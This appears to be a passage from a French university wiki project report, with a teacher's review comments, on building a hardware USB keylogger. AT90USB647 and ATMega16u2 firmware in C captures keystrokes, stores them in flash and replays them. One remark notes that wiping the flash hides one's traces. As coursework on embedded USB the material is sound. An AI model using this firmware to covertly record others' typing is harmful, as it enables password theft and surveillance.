/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].
[[Fichier:Keylogger schéma connexion uP.png|vignette|426x426px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]

==== Modification du Keylogger ====
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]

J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :
<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>
Et pour la réception :
<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.
<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[CODES_PACKET_SIZE];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size >= FLASH_PAGE_INDEX_MAX) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>

ReX : Le test <code>(*flash_buffer_i == FLASH_BUFFER_SIZE)</code> est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et définit la taille de bloc comme un multiple de la taille des paquets :
#define CODES_PACKET_SIZE 7
#define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)

Benjamin : Pas de souci, j'en ai profité aussi pour modifier les autres variables concernant le parcours du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction <code>memcpy</code>.

ReX : Parfait. Il te reste une condition à redresser <code>(*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1))</code>. Cela n'arrivera jamais, le plus proche de <code>FLASH_PAGE_INDEX_MAX</code> sera 4*63=252 après cela saute à 5*63=315. Il vaudrait mieux que tu testes <code>(*page_buffer_size+FLASH_BUFFER_SIZE>=FLASH_PAGE_INDEX_MAX)</code> tu ne crois pas ?

Benjamin : Je comprends votre inquiétude. Dans les constantes, j'ai mis <code>FLASH_PAGE_INDEX_MAX</code> à 251 en pensant initialement que j'allais m'en servir comme l'indice maximal que la page pourra atteindre, d'où le <code>+ 1</code> qui nous permettra de vérifier l'indice <code>*page_buffer_size</code> qui sera à 252 quand il aura été rempli 4 fois par <code>flash_buffer</code>. Je vais rajouter une condition avec une comparaison <code>>=</code> au cas où les constantes serait mené à changer dans le futur.

Benjamin : Dans ma logique, on n'a pas besoin de vérifié de vérifié <code>*page_buffer_size+FLASH_BUFFER_SIZE</code> car <code>*page_buffer_size</code> suffit à savoir si l'on doit changer de page ou non. Sauf qu'il ne le saura qu'à la prochaine touche tapé, dans la condition où : <code>flash_buffer</code> était plein précédement et a alors incrémenté <code>*page_buffer_size</code> par <code>FLASH_BUFFER_SIZE</code>, on aurait donc <code>*page_buffer_size</code> qui vaudrait 252 si précedement il était à 189 (dans la condition que <code>FLASH_BUFFER_SIZE</code> soit égale à 63.). Je sais pas si c'est très claire = /

Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :
<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[CODES_PACKET_SIZE];
for (address = 0; address <= (*page_actual); address++)
{
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0;
byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX);
byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(data[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(flash_buffer[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>

ReX : Code bien factorisé. Tu as récupéré les commandes pour le reset de la flash dans la documentation des AT45DB641E ? Le reset n'est pas vraiment nécessaire sauf à vouloir effacer ses traces.

Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMega, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapées :

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

On attend à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )

ReX : D'après ton schéma des connexions de connecteurs je crains que l'AT90 soit en 3.3V et l'ATMega en 5V. Ca pourrait provoquer des problème avec la connexion UART. Tu peux rajouter sur le schéma la position des cavaliers pour que je sois sûr ?

ReX : Non, les deux microcontrôleurs sont bien alimentés en 3.3V. C'est parfait.



= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

SE4 2022/2023 EC5

2023-08-15T15:21:04Z

Bnguyen1 : /* Modification du Keylogger */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

